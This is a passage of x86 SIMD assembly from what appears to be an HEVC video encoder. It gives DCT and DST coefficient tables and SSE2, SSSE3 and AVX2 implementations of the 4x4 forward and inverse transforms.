dw 75, -18, -89, -50, 50, 89, 18, -75, -75, 18, 89, 50, -50, -89, -18, 75
dw 73, -31, -90, -22, 78, 67, -38, -90, -13, 82, 61, -46, -88, -4, 85, 54
dw 70, -43, -87, 9, 90, 25, -80, -57, 57, 80, -25, -90, -9, 87, 43, -70
dw 67, -54, -78, 38, 85, -22, -90, 4, 90, 13, -88, -31, 82, 46, -73, -61
dw 64, -64, -64, 64, 64, -64, -64, 64, 64, -64, -64, 64, 64, -64, -64, 64
dw 61, -73, -46, 82, 31, -88, -13, 90, -4, -90, 22, 85, -38, -78, 54, 67
dw 57, -80, -25, 90, -9, -87, 43, 70, -70, -43, 87, 9, -90, 25, 80, -57
dw 54, -85, -4, 88, -46, -61, 82, 13, -90, 38, 67, -78, -22, 90, -31, -73
dw 50, -89, 18, 75, -75, -18, 89, -50, -50, 89, -18, -75, 75, 18, -89, 50
dw 46, -90, 38, 54, -90, 31, 61, -88, 22, 67, -85, 13, 73, -82, 4, 78
dw 43, -90, 57, 25, -87, 70, 9, -80, 80, -9, -70, 87, -25, -57, 90, -43
dw 38, -88, 73, -4, -67, 90, -46, -31, 85, -78, 13, 61, -90, 54, 22, -82
dw 36, -83, 83, -36, -36, 83, -83, 36, 36, -83, 83, -36, -36, 83, -83, 36
dw 31, -78, 90, -61, 4, 54, -88, 82, -38, -22, 73, -90, 67, -13, -46, 85
dw 25, -70, 90, -80, 43, 9, -57, 87, -87, 57, -9, -43, 80, -90, 70, -25
dw 22, -61, 85, -90, 73, -38, -4, 46, -78, 90, -82, 54, -13, -31, 67, -88
dw 18, -50, 75, -89, 89, -75, 50, -18, -18, 50, -75, 89, -89, 75, -50, 18
dw 13, -38, 61, -78, 88, -90, 85, -73, 54, -31, 4, 22, -46, 67, -82, 90
dw 9, -25, 43, -57, 70, -80, 87, -90, 90, -87, 80, -70, 57, -43, 25, -9
dw 4, -13, 22, -31, 38, -46, 54, -61, 67, -73, 78, -82, 85, -88, 90, -90
tab_dct32_2: dw 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64
dw -4, -13, -22, -31, -38, -46, -54, -61, -67, -73, -78, -82, -85, -88, -90, -90
dw -90, -87, -80, -70, -57, -43, -25, -9, 9, 25, 43, 57, 70, 80, 87, 90
dw 13, 38, 61, 78, 88, 90, 85, 73, 54, 31, 4, -22, -46, -67, -82, -90
dw 89, 75, 50, 18, -18, -50, -75, -89, -89, -75, -50, -18, 18, 50, 75, 89
dw -22, -61, -85, -90, -73, -38, 4, 46, 78, 90, 82, 54, 13, -31, -67, -88
dw -87, -57, -9, 43, 80, 90, 70, 25, -25, -70, -90, -80, -43, 9, 57, 87
dw 31, 78, 90, 61, 4, -54, -88, -82, -38, 22, 73, 90, 67, 13, -46, -85
dw 83, 36, -36, -83, -83, -36, 36, 83, 83, 36, -36, -83, -83, -36, 36, 83
dw -38, -88, -73, -4, 67, 90, 46, -31, -85, -78, -13, 61, 90, 54, -22, -82
dw -80, -9, 70, 87, 25, -57, -90, -43, 43, 90, 57, -25, -87, -70, 9, 80
dw 46, 90, 38, -54, -90, -31, 61, 88, 22, -67, -85, -13, 73, 82, 4, -78
dw 75, -18, -89, -50, 50, 89, 18, -75, -75, 18, 89, 50, -50, -89, -18, 75
dw -54, -85, 4, 88, 46, -61, -82, 13, 90, 38, -67, -78, 22, 90, 31, -73
dw -70, 43, 87, -9, -90, -25, 80, 57, -57, -80, 25, 90, 9, -87, -43, 70
dw 61, 73, -46, -82, 31, 88, -13, -90, -4, 90, 22, -85, -38, 78, 54, -67
dw 64, -64, -64, 64, 64, -64, -64, 64, 64, -64, -64, 64, 64, -64, -64, 64
dw -67, -54, 78, 38, -85, -22, 90, 4, -90, 13, 88, -31, -82, 46, 73, -61
dw -57, 80, 25, -90, 9, 87, -43, -70, 70, 43, -87, -9, 90, -25, -80, 57
dw 73, 31, -90, 22, 78, -67, -38, 90, -13, -82, 61, 46, -88, 4, 85, -54
dw 50, -89, 18, 75, -75, -18, 89, -50, -50, 89, -18, -75, 75, 18, -89, 50
dw -78, -4, 82, -73, -13, 85, -67, -22, 88, -61, -31, 90, -54, -38, 90, -46
dw -43, 90, -57, -25, 87, -70, -9, 80, -80, 9, 70, -87, 25, 57, -90, 43
dw 82, -22, -54, 90, -61, -13, 78, -85, 31, 46, -90, 67, 4, -73, 88, -38
dw 36, -83, 83, -36, -36, 83, -83, 36, 36, -83, 83, -36, -36, 83, -83, 36
dw -85, 46, 13, -67, 90, -73, 22, 38, -82, 88, -54, -4, 61, -90, 78, -31
dw -25, 70, -90, 80, -43, -9, 57, -87, 87, -57, 9, 43, -80, 90, -70, 25
dw 88, -67, 31, 13, -54, 82, -90, 78, -46, 4, 38, -73, 90, -85, 61, -22
dw 18, -50, 75, -89, 89, -75, 50, -18, -18, 50, -75, 89, -89, 75, -50, 18
dw -90, 82, -67, 46, -22, -4, 31, -54, 73, -85, 90, -88, 78, -61, 38, -13
dw -9, 25, -43, 57, -70, 80, -87, 90, -90, 87, -80, 70, -57, 43, -25, 9
dw 90, -90, 88, -85, 82, -78, 73, -67, 61, -54, 46, -38, 31, -22, 13, -4
avx2_idct8_1: times 4 dw 64, 83, 64, 36
times 4 dw 64, 36, -64, -83
times 4 dw 64, -36, -64, 83
times 4 dw 64, -83, 64, -36
avx2_idct8_2: times 4 dw 89, 75, 50, 18
times 4 dw 75, -18, -89, -50
times 4 dw 50, -89, 18, 75
times 4 dw 18, -50, 75, -89
idct8_shuf1: dd 0, 2, 4, 6, 1, 3, 5, 7
const idct8_shuf2, times 2 db 0, 1, 2, 3, 8, 9, 10, 11, 4, 5, 6, 7, 12, 13, 14, 15
idct8_shuf3: times 2 db 12, 13, 14, 15, 8, 9, 10, 11, 4, 5, 6, 7, 0, 1, 2, 3
tab_idct16_1: dw 90, 87, 80, 70, 57, 43, 25, 9
dw 87, 57, 9, -43, -80, -90, -70, -25
dw 80, 9, -70, -87, -25, 57, 90, 43
dw 70, -43, -87, 9, 90, 25, -80, -57
dw 57, -80, -25, 90, -9, -87, 43, 70
dw 43, -90, 57, 25, -87, 70, 9, -80
dw 25, -70, 90, -80, 43, 9, -57, 87
dw 9, -25, 43, -57, 70, -80, 87, -90
tab_idct16_2: dw 64, 89, 83, 75, 64, 50, 36, 18
dw 64, 75, 36, -18, -64, -89, -83, -50
dw 64, 50, -36, -89, -64, 18, 83, 75
dw 64, 18, -83, -50, 64, 75, -36, -89
dw 64, -18, -83, 50, 64, -75, -36, 89
dw 64, -50, -36, 89, -64, -18, 83, -75
dw 64, -75, 36, 18, -64, 89, -83, 50
dw 64, -89, 83, -75, 64, -50, 36, -18
idct16_shuff: dd 0, 4, 2, 6, 1, 5, 3, 7
idct16_shuff1: dd 2, 6, 0, 4, 3, 7, 1, 5
tab_idct32_1: dw 90 ,90 ,88 ,85, 82, 78, 73, 67, 61, 54, 46, 38, 31, 22, 13, 4
dw 90, 82, 67, 46, 22, -4, -31, -54, -73, -85, -90, -88, -78, -61, -38, -13
dw 88, 67, 31, -13, -54, -82, -90, -78, -46, -4, 38, 73, 90, 85, 61, 22
dw 85, 46, -13, -67, -90, -73, -22, 38, 82, 88, 54, -4, -61, -90, -78, -31
dw 82, 22, -54, -90, -61, 13, 78, 85, 31, -46, -90, -67, 4, 73, 88, 38
dw 78, -4, -82, -73, 13, 85, 67, -22, -88, -61, 31, 90, 54, -38, -90, -46
dw 73, -31, -90, -22, 78, 67, -38, -90, -13, 82, 61, -46, -88, -4, 85, 54
dw 67, -54, -78, 38, 85, -22, -90, 4, 90, 13, -88, -31, 82, 46, -73, -61
dw 61, -73, -46, 82, 31, -88, -13, 90, -4, -90, 22, 85, -38, -78, 54, 67
dw 54, -85, -4, 88, -46, -61, 82, 13, -90, 38, 67, -78, -22, 90, -31, -73
dw 46, -90, 38, 54, -90, 31, 61, -88, 22, 67, -85, 13, 73, -82, 4, 78
dw 38, -88, 73, -4, -67, 90, -46, -31, 85, -78, 13, 61, -90, 54, 22, -82
dw 31, -78, 90, -61, 4, 54, -88, 82, -38, -22, 73, -90, 67, -13, -46, 85
dw 22, -61, 85, -90, 73, -38, -4, 46, -78, 90, -82, 54, -13, -31, 67, -88
dw 13, -38, 61, -78, 88, -90, 85, -73, 54, -31, 4, 22, -46, 67, -82, 90
dw 4, -13, 22, -31, 38, -46, 54, -61, 67, -73, 78, -82, 85, -88, 90, -90
tab_idct32_2: dw 64, 89, 83, 75, 64, 50, 36, 18
dw 64, 75, 36, -18, -64, -89, -83, -50
dw 64, 50, -36, -89, -64, 18, 83, 75
dw 64, 18, -83, -50, 64, 75, -36, -89
dw 64, -18, -83, 50, 64, -75, -36, 89
dw 64, -50, -36, 89, -64, -18, 83, -75
dw 64, -75, 36, 18, -64, 89, -83, 50
dw 64, -89, 83, -75, 64, -50, 36, -18
tab_idct32_3: dw 90, 87, 80, 70, 57, 43, 25, 9
dw 87, 57, 9, -43, -80, -90, -70, -25
dw 80, 9, -70, -87, -25, 57, 90, 43
dw 70, -43, -87, 9, 90, 25, -80, -57
dw 57, -80, -25, 90, -9, -87, 43, 70
dw 43, -90, 57, 25, -87, 70, 9, -80
dw 25, -70, 90, -80, 43, 9, -57, 87
dw 9, -25, 43, -57, 70, -80, 87, -90
tab_idct32_4: dw 64, 90, 89, 87, 83, 80, 75, 70, 64, 57, 50, 43, 36, 25, 18, 9
dw 64, 87, 75, 57, 36, 9, -18, -43, -64, -80, -89, -90, -83, -70, -50, -25
dw 64, 80, 50, 9, -36, -70, -89, -87, -64, -25, 18, 57, 83, 90, 75, 43
dw 64, 70, 18, -43, -83, -87, -50, 9, 64, 90, 75, 25, -36, -80, -89, -57
dw 64, 57, -18, -80, -83, -25, 50, 90, 64, -9, -75, -87, -36, 43, 89, 70
dw 64, 43, -50, -90, -36, 57, 89, 25, -64, -87, -18, 70, 83, 9, -75, -80
dw 64, 25, -75, -70, 36, 90, 18, -80, -64, 43, 89, 9, -83, -57, 50, 87
dw 64, 9, -89, -25, 83, 43, -75, -57, 64, 70, -50, -80, 36, 87, -18, -90
dw 64, -9, -89, 25, 83, -43, -75, 57, 64, -70, -50, 80, 36, -87, -18, 90
dw 64, -25, -75, 70, 36, -90, 18, 80, -64, -43, 89, -9, -83, 57, 50, -87
dw 64, -43, -50, 90, -36, -57, 89, -25, -64, 87, -18, -70, 83, -9, -75, 80
dw 64, -57, -18, 80, -83, 25, 50, -90, 64, 9, -75, 87, -36, -43, 89, -70
dw 64, -70, 18, 43, -83, 87, -50, -9, 64, -90, 75, -25, -36, 80, -89, 57
dw 64, -80, 50, -9, -36, 70, -89, 87, -64, 25, 18, -57, 83, -90, 75, -43
dw 64, -87, 75, -57, 36, -9, -18, 43, -64, 80, -89, 90, -83, 70, -50, 25
dw 64, -90, 89, -87, 83, -80, 75, -70, 64, -57, 50, -43, 36, -25, 18, -9
avx2_dct4: dw 64, 64, 64, 64, 64, 64, 64, 64, 64, -64, 64, -64, 64, -64, 64, -64
dw 83, 36, 83, 36, 83, 36, 83, 36, 36, -83, 36, -83, 36, -83, 36, -83
avx2_idct4_1: dw 64, 64, 64, 64, 64, 64, 64, 64, 64, -64, 64, -64, 64, -64, 64, -64
dw 83, 36, 83, 36, 83, 36, 83, 36, 36, -83, 36, -83, 36 ,-83, 36, -83
avx2_idct4_2: dw 64, 64, 64, -64, 83, 36, 36, -83
const idct4_shuf1, times 2 db 0, 1, 4, 5, 2, 3, 6, 7, 8, 9, 12, 13, 10, 11, 14, 15
idct4_shuf2: times 2 db 4, 5, 6, 7, 0, 1, 2, 3, 12, 13, 14, 15, 8 ,9 ,10, 11
tab_dct4: times 4 dw 64, 64
times 4 dw 83, 36
times 4 dw 64, -64
times 4 dw 36, -83
dct4_shuf: db 0, 1, 2, 3, 8, 9, 10, 11, 6, 7, 4, 5, 14, 15, 12, 13
tab_dst4: times 2 dw 29, 55, 74, 84
times 2 dw 74, 74, 0, -74
times 2 dw 84, -29, -74, 55
times 2 dw 55, -84, 74, -29
pw_dst4_tab: times 4 dw 29, 55, 74, 84
times 4 dw 74, 74, 0, -74
times 4 dw 84, -29, -74, 55
times 4 dw 55, -84, 74, -29
tab_idst4: times 4 dw 29, +84
times 4 dw +74, +55
times 4 dw 55, -29
times 4 dw +74, -84
times 4 dw 74, -74
times 4 dw 0, +74
times 4 dw 84, +55
times 4 dw -74, -29
pw_idst4_tab: times 4 dw 29, 84
times 4 dw 55, -29
times 4 dw 74, 55
times 4 dw 74, -84
times 4 dw 74, -74
times 4 dw 84, 55
times 4 dw 0, 74
times 4 dw -74, -29
pb_idst4_shuf: times 2 db 0, 1, 8, 9, 2, 3, 10, 11, 4, 5, 12, 13, 6, 7, 14, 15
tab_dct8_1: times 2 dw 89, 50, 75, 18
times 2 dw 75, -89, -18, -50
times 2 dw 50, 18, -89, 75
times 2 dw 18, 75, -50, -89
tab_dct8_2: times 2 dd 83, 36
times 2 dd 36, 83
times 1 dd 89, 75, 50, 18
times 1 dd 75, -18, -89, -50
times 1 dd 50, -89, 18, 75
times 1 dd 18, -50, 75, -89
tab_idct8_3: times 4 dw 89, 75
times 4 dw 50, 18
times 4 dw 75, -18
times 4 dw -89, -50
times 4 dw 50, -89
times 4 dw 18, 75
times 4 dw 18, -50
times 4 dw 75, -89
pb_unpackhlw1: db 0,1,8,9,2,3,10,11,4,5,12,13,6,7,14,15
pb_idct8even: db 0, 1, 8, 9, 4, 5, 12, 13, 0, 1, 8, 9, 4, 5, 12, 13
tab_idct8_1: times 1 dw 64, -64, 36, -83, 64, 64, 83, 36
tab_idct8_2: times 1 dw 89, 75, 50, 18, 75, -18, -89, -50
times 1 dw 50, -89, 18, 75, 18, -50, 75, -89
pb_idct8odd: db 2, 3, 6, 7, 10, 11, 14, 15, 2, 3, 6, 7, 10, 11, 14, 15
SECTION .text
cextern pd_1
cextern pd_2
cextern pd_4
cextern pd_8
cextern pd_16
cextern pd_32
cextern pd_64
cextern pd_128
cextern pd_256
cextern pd_512
cextern pd_1024
cextern pd_2048
cextern pw_ppppmmmm
cextern trans8_shuf
%if BIT_DEPTH == 12
%define DCT4_SHIFT 5
%define DCT4_ROUND 16
%define IDCT_SHIFT 8
%define IDCT_ROUND 128
%define DST4_SHIFT 5
%define DST4_ROUND 16
%define DCT8_SHIFT1 6
%define DCT8_ROUND1 32
%elif BIT_DEPTH == 10
%define DCT4_SHIFT 3
%define DCT4_ROUND 4
%define IDCT_SHIFT 10
%define IDCT_ROUND 512
%define DST4_SHIFT 3
%define DST4_ROUND 4
%define DCT8_SHIFT1 4
%define DCT8_ROUND1 8
%elif BIT_DEPTH == 8
%define DCT4_SHIFT 1
%define DCT4_ROUND 1
%define IDCT_SHIFT 12
%define IDCT_ROUND 2048
%define DST4_SHIFT 1
%define DST4_ROUND 1
%define DCT8_SHIFT1 2
%define DCT8_ROUND1 2
%else
%error Unsupported BIT_DEPTH!
%endif
%define DCT8_ROUND2 256
%define DCT8_SHIFT2 9
;------------------------------------------------------
;void dct4(const int16_t* src, int16_t* dst, intptr_t srcStride)
;------------------------------------------------------
INIT_XMM sse2
cglobal dct4, 3, 4, 8
mova m7, [pd_ %+ DCT4_ROUND]
add r2d, r2d
lea r3, [tab_dct4]
mova m4, [r3 + 0 * 16]
mova m5, [r3 + 1 * 16]
mova m6, [r3 + 2 * 16]
movh m0, [r0 + 0 * r2]
movh m1, [r0 + 1 * r2]
punpcklqdq m0, m1
pshufd m0, m0, 0xD8
pshufhw m0, m0, 0xB1
lea r0, [r0 + 2 * r2]
movh m1, [r0]
movh m2, [r0 + r2]
punpcklqdq m1, m2
pshufd m1, m1, 0xD8
pshufhw m1, m1, 0xB1
punpcklqdq m2, m0, m1
punpckhqdq m0, m1
paddw m1, m2, m0
psubw m2, m0
pmaddwd m0, m1, m4
paddd m0, m7
psrad m0, DCT4_SHIFT
pmaddwd m3, m2, m5
paddd m3, m7
psrad m3, DCT4_SHIFT
packssdw m0, m3
pshufd m0, m0, 0xD8
pshufhw m0, m0, 0xB1
pmaddwd m1, m6
paddd m1, m7
psrad m1, DCT4_SHIFT
pmaddwd m2, [r3 + 3 * 16]
paddd m2, m7
psrad m2, DCT4_SHIFT
packssdw m1, m2
pshufd m1, m1, 0xD8
pshufhw m1, m1, 0xB1
punpcklqdq m2, m0, m1
punpckhqdq m0, m1
mova m7, [pd_128]
pmaddwd m1, m2, m4
pmaddwd m3, m0, m4
paddd m1, m3
paddd m1, m7
psrad m1, 8
pmaddwd m4, m2, m5
pmaddwd m3, m0, m5
psubd m4, m3
paddd m4, m7
psrad m4, 8
packssdw m1, m4
movu [r1 + 0 * 16], m1
pmaddwd m1, m2, m6
pmaddwd m3, m0, m6
paddd m1, m3
paddd m1, m7
psrad m1, 8
pmaddwd m2, [r3 + 3 * 16]
pmaddwd m0, [r3 + 3 * 16]
psubd m2, m0
paddd m2, m7
psrad m2, 8
packssdw m1, m2
movu [r1 + 1 * 16], m1
RET
; DCT 4x4
;
; Input parameters:
; - r0: source
; - r1: destination
; - r2: source stride
INIT_YMM avx2
cglobal dct4, 3, 4, 8, src, dst, srcStride
vbroadcasti128 m7, [pd_ %+ DCT4_ROUND]
add r2d, r2d
lea r3, [avx2_dct4]
vbroadcasti128 m4, [dct4_shuf]
mova m5, [r3]
mova m6, [r3 + 32]
movq xm0, [r0]
movhps xm0, [r0 + r2]
lea r0, [r0 + 2 * r2]
movq xm1, [r0]
movhps xm1, [r0 + r2]
vinserti128 m0, m0, xm1, 1
pshufb m0, m4
vpermq m1, m0, 11011101b
vpermq m0, m0, 10001000b
paddw m2, m0, m1
psubw m0, m1
pmaddwd m2, m5
paddd m2, m7
psrad m2, DCT4_SHIFT
pmaddwd m0, m6
paddd m0, m7
psrad m0, DCT4_SHIFT
packssdw m2, m0
pshufb m2, m4
vpermq m1, m2, 11011101b
vpermq m2, m2, 10001000b
vbroadcasti128 m7, [pd_128]
pmaddwd m0, m2, m5
pmaddwd m3, m1, m5
paddd m3, m0
paddd m3, m7
psrad m3, 8
pmaddwd m2, m6
pmaddwd m1, m6
psubd m2, m1
paddd m2, m7
psrad m2, 8
packssdw m3, m2
movu [r1], m3
RET
;-------------------------------------------------------
;void idct4(const int16_t* src, int16_t* dst, intptr_t dstStride)
;-------------------------------------------------------
INIT_XMM sse2
cglobal idct4, 3, 4, 6
add r2d, r2d
lea r3, [tab_dct4]
movu m0, [r0 + 0 * 16]
movu m1, [r0 + 1 * 16]
punpcklwd m2, m0, m1
pmaddwd m3, m2, [r3 + 0 * 16] ; m3 = E1
paddd m3, [pd_64]
pmaddwd m2, [r3 + 2 * 16] ; m2 = E2
paddd m2, [pd_64]
punpckhwd m0, m1
pmaddwd m1, m0, [r3 + 1 * 16] ; m1 = O1
pmaddwd m0, [r3 + 3 * 16] ; m0 = O2
paddd m4, m3, m1
psrad m4, 7 ; m4 = m128iA
paddd m5, m2, m0
psrad m5, 7
packssdw m4, m5 ; m4 = m128iA
psubd m2, m0
psrad m2, 7
psubd m3, m1
psrad m3, 7
packssdw m2, m3 ; m2 = m128iD
punpcklwd m1, m4, m2 ; m1 = S0
punpckhwd m4, m2 ; m4 = S8
punpcklwd m0, m1, m4 ; m0 = m128iA
punpckhwd m1, m4 ; m1 = m128iD
punpcklwd m2, m0, m1
pmaddwd m3, m2, [r3 + 0 * 16]
paddd m3, [pd_ %+ IDCT_ROUND] ; m3 = E1
pmaddwd m2, [r3 + 2 * 16]
paddd m2, [pd_ %+ IDCT_ROUND] ; m2 = E2
punpckhwd m0, m1
pmaddwd m1, m0, [r3 + 1 * 16] ; m1 = O1
pmaddwd m0, [r3 + 3 * 16] ; m0 = O2
paddd m4, m3, m1
psrad m4, IDCT_SHIFT ; m4 = m128iA
paddd m5, m2, m0
psrad m5, IDCT_SHIFT
packssdw m4, m5 ; m4 = m128iA
psubd m2, m0
psrad m2, IDCT_SHIFT
psubd m3, m1
psrad m3, IDCT_SHIFT
packssdw m2, m3 ; m2 = m128iD
punpcklwd m1, m4, m2
punpckhwd m4, m2
punpcklwd m0, m1, m4
movlps [r1 + 0 * r2], m0
movhps [r1 + 1 * r2], m0
punpckhwd m1, m4
movlps [r1 + 2 * r2], m1
lea r1, [r1 + 2 * r2]
movhps [r1 + r2], m1
RET
;------------------------------------------------------
;void dst4(const int16_t* src, int16_t* dst, intptr_t srcStride)
;------------------------------------------------------
INIT_XMM sse2
%if ARCH_X86_64
cglobal dst4, 3, 4, 8+4
%define coef0 m8
%define coef1 m9
%define coef2 m10
%define coef3 m11
%else ; ARCH_X86_64 = 0
cglobal dst4, 3, 4, 8
%define coef0 [r3 + 0 * 16]
%define coef1 [r3 + 1 * 16]
%define coef2 [r3 + 2 * 16]
%define coef3 [r3 + 3 * 16]
%endif ; ARCH_X86_64
mova m5, [pd_ %+ DST4_ROUND]
add r2d, r2d
lea r3, [tab_dst4]
%if ARCH_X86_64
mova coef0, [r3 + 0 * 16]
mova coef1, [r3 + 1 * 16]
mova coef2, [r3 + 2 * 16]
mova coef3, [r3 + 3 * 16]
%endif
movh m0, [r0 + 0 * r2] ; load
movhps m0, [r0 + 1 * r2]
lea r0, [r0 + 2 * r2]
movh m1, [r0]
movhps m1, [r0 + r2]
pmaddwd m2, m0, coef0 ; DST1
pmaddwd m3, m1, coef0
pshufd m6, m2, q2301
pshufd m7, m3, q2301
paddd m2, m6
paddd m3, m7
pshufd m2, m2, q3120
pshufd m3, m3, q3120
punpcklqdq m2, m3
paddd m2, m5
psrad m2, DST4_SHIFT
pmaddwd m3, m0, coef1
pmaddwd m4, m1, coef1
pshufd m6, m4, q2301
pshufd m7, m3, q2301
paddd m4, m6
paddd m3, m7
pshufd m4, m4, q3120
pshufd m3, m3, q3120
punpcklqdq m3, m4
paddd m3, m5
psrad m3, DST4_SHIFT
packssdw m2, m3 ; m2 = T70
pmaddwd m3, m0, coef2
pmaddwd m4, m1, coef2
pshufd m6, m4, q2301
pshufd m7, m3, q2301
paddd m4, m6
paddd m3, m7
pshufd m4, m4, q3120
pshufd m3, m3, q3120
punpcklqdq m3, m4
paddd m3, m5
psrad m3, DST4_SHIFT
pmaddwd m0, coef3
pmaddwd m1, coef3
pshufd m6, m0, q2301
pshufd m7, m1, q2301
paddd m0, m6
paddd m1, m7
pshufd m0, m0, q3120
pshufd m1, m1, q3120
punpcklqdq m0, m1
paddd m0, m5
psrad m0, DST4_SHIFT
packssdw m3, m0 ; m3 = T71
mova m5, [pd_128]
pmaddwd m0, m2, coef0 ; DST2
pmaddwd m1, m3, coef0
pshufd m6, m0, q2301
pshufd m7, m1, q2301
paddd m0, m6
paddd m1, m7
pshufd m0, m0, q3120
pshufd m1, m1, q3120
punpcklqdq m0, m1
paddd m0, m5
psrad m0, 8
pmaddwd m4, m2, coef1
pmaddwd m1, m3, coef1
pshufd m6, m4, q2301
pshufd m7, m1, q2301
paddd m4, m6
paddd m1, m7
pshufd m4, m4, q3120
pshufd m1, m1, q3120
punpcklqdq m4, m1
paddd m4, m5
psrad m4, 8
packssdw m0, m4
movu [r1 + 0 * 16], m0
pmaddwd m0, m2, coef2
pmaddwd m1, m3, coef2
pshufd m6, m0, q2301
pshufd m7, m1, q2301
paddd m0, m6
paddd m1, m7
pshufd m0, m0, q3120
pshufd m1, m1, q3120
punpcklqdq m0, m1
paddd m0, m5
psrad m0, 8
pmaddwd m2, coef3
pmaddwd m3, coef3
pshufd m6, m2, q2301
pshufd m7, m3, q2301
paddd m2, m6
paddd m3, m7
pshufd m2, m2, q3120
pshufd m3, m3, q3120
punpcklqdq m2, m3
paddd m2, m5
psrad m2, 8
packssdw m0, m2
movu [r1 + 1 * 16], m0
RET
;------------------------------------------------------
;void dst4(const int16_t* src, int16_t* dst, intptr_t srcStride)
;------------------------------------------------------
INIT_XMM ssse3
%if ARCH_X86_64
cglobal dst4, 3, 4, 8+2
%define coef2 m8
%define coef3 m9
%else ; ARCH_X86_64 = 0
cglobal dst4, 3, 4, 8
%define coef2 [r3 + 2 * 16]
%define coef3 [r3 + 3 * 16]
%endif ; ARCH_X86_64
%define coef0 m6
%define coef1 m7
mova m5, [pd_ %+ DST4_ROUND]
add r2d, r2d
lea r3, [tab_dst4]
mova coef0, [r3 + 0 * 16]
mova coef1, [r3 + 1 * 16]
%if ARCH_X86_64
mova coef2, [r3 + 2 * 16]
mova coef3, [r3 + 3 * 16]
%endif
movh m0, [r0 + 0 * r2] ; load
movh m1, [r0 + 1 * r2]
punpcklqdq m0, m1
lea r0, [r0 + 2 * r2]
movh m1, [r0]
movh m2, [r0 + r2]
punpcklqdq m1, m2
pmaddwd m2, m0, coef0 ; DST1
pmaddwd m3, m1, coef0
phaddd m2, m3
paddd m2, m5
psrad m2, DST4_SHIFT
pmaddwd m3, m0, coef1
pmaddwd m4, m1, coef1
phaddd m3, m4
paddd m3, m5
psrad m3, DST4_SHIFT
packssdw m2, m3 ; m2 = T70
pmaddwd m3, m0, coef2
pmaddwd m4, m1, coef2
phaddd m3, m4
paddd m3, m5
psrad m3, DST4_SHIFT
pmaddwd m0, coef3
pmaddwd m1, coef3
phaddd m0, m1
paddd m0, m5
psrad m0, DST4_SHIFT
packssdw m3, m0 ; m3 = T71
mova m5, [pd_128]
pmaddwd m0, m2, coef0 ; DST2
pmaddwd m1, m3, coef0
phaddd m0, m1
paddd m0, m5
psrad m0, 8
pmaddwd m4, m2, coef1
pmaddwd m1, m3, coef1
phaddd m4, m1
paddd m4, m5
psrad m4, 8
packssdw m0, m4
movu [r1 + 0 * 16], m0
pmaddwd m0, m2, coef2
pmaddwd m1, m3, coef2
phaddd m0, m1
paddd m0, m5
psrad m0, 8
pmaddwd m2, coef3
pmaddwd m3, coef3
phaddd m2, m3
paddd m2, m5
psrad m2, 8
packssdw m0, m2
movu [r1 + 1 * 16], m0
RET
;------------------------------------------------------------------
;void dst4(const int16_t* src, int16_t* dst, intptr_t srcStride)
;------------------------------------------------------------------
INIT_YMM avx2
cglobal dst4, 3, 4, 6
vbroadcasti128 m5, [pd_ %+ DST4_ROUND]
mova m4, [trans8_shuf]
add r2d, r2d
lea r3, [pw_dst4_tab]
movq xm0, [r0 + 0 * r2]
movhps xm0, [r0 + 1 * r2]
lea r0, [r0 + 2 * r2]
movq xm1, [r0]
movhps xm1, [r0 + r2]
vinserti128 m0, m0, xm1, 1 ; m0 = src[0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15]
pmaddwd m2, m0, [r3 + 0 * 32]
pmaddwd m1, m0, [r3 + 1 * 32]
phaddd m2, m1
paddd m2, m5
psrad m2, DST4_SHIFT
pmaddwd m3, m0, [r3 + 2 * 32]
pmaddwd m1, m0, [r3 + 3 * 32]
phaddd m3, m1
paddd m3, m5
psrad m3, DST4_SHIFT
packssdw m2, m3
vpermd m2, m4, m2
vpbroadcastd m5, [pd_128]
pmaddwd m0, m2, [r3 + 0 * 32]
pmaddwd m1, m2, [r3 + 1 * 32]
phaddd m0, m1
paddd m0, m5
psrad m0, 8
pmaddwd m3, m2, [r3 + 2 * 32]
pmaddwd m2, m2, [r3 + 3 * 32]
phaddd m3, m2
paddd m3, m5
psrad m3, 8
packssdw m0, m3
vpermd m0, m4, m0
movu [r1], m0
RET
;-------------------------------------------------------
;void idst4(const int16_t* src, int16_t* dst, intptr_t dstStride)
;-------------------------------------------------------
INIT_XMM sse2
cglobal idst4, 3, 4, 7
mova m6, [pd_ %+ IDCT_ROUND]
add r2d, r2d
lea r3, [tab_idst4]
mova m5, [pd_64]
movu m0, [r0 + 0 * 16]
movu m1, [r0 + 1 * 16]
punpcklwd m2, m0, m1 ; m2 = m128iAC
punpckhwd m0, m1 ; m0 = m128iBD
pmaddwd m1, m2, [r3 + 0 * 16]
pmaddwd m3, m0, [r3 + 1 * 16]
paddd m1, m3
paddd m1, m5
psrad m1, 7 ; m1 = S0
pmaddwd m3, m2, [r3 + 2 * 16]
pmaddwd m4, m0, [r3 + 3 * 16]
paddd m3, m4
paddd m3, m5
psrad m3, 7 ; m3 = S8
packssdw m1, m3 ; m1 = m128iA
pmaddwd m3, m2, [r3 + 4 * 16]
pmaddwd m4, m0, [r3 + 5 * 16]
paddd m3, m4
paddd m3, m5
psrad m3, 7 ; m3 = S0
pmaddwd m2, [r3 + 6 * 16]
pmaddwd m0, [r3 + 7 * 16]
paddd m2, m0
paddd m2, m5
psrad m2, 7 ; m2 = S8
packssdw m3, m2 ; m3 = m128iD
punpcklwd m0, m1, m3
punpckhwd m1, m3
punpcklwd m2, m0, m1
punpckhwd m0, m1
punpcklwd m1, m2, m0
punpckhwd m2, m0
pmaddwd m0, m1, [r3 + 0 * 16]
pmaddwd m3, m2, [r3 + 1 * 16]
paddd m0, m3
paddd m0, m6
psrad m0, IDCT_SHIFT ; m0 = S0
pmaddwd m3, m1, [r3 + 2 * 16]
pmaddwd m4, m2, [r3 + 3 * 16]
paddd m3, m4
paddd m3, m6
psrad m3, IDCT_SHIFT ; m3 = S8
packssdw m0, m3 ; m0 = m128iA
pmaddwd m3, m1, [r3 + 4 * 16]
pmaddwd m4, m2, [r3 + 5 * 16]
paddd m3, m4
paddd m3, m6
psrad m3, IDCT_SHIFT ; m3 = S0
pmaddwd m1, [r3 + 6 * 16]
pmaddwd m2, [r3 + 7 * 16]
paddd m1, m2
paddd m1, m6
psrad m1, IDCT_SHIFT ; m1 = S8
packssdw m3, m1 ; m3 = m128iD
punpcklwd m1, m0, m3
punpckhwd m0, m3
punpcklwd m2, m1, m0
movlps [r1 + 0 * r2], m2
movhps [r1 + 1 * r2], m2
punpckhwd m1, m0
movlps [r1 + 2 * r2], m1
lea r1, [r1 + 2 * r2]
movhps [r1 + r2], m1
RET
;-----------------------------------------------------------------
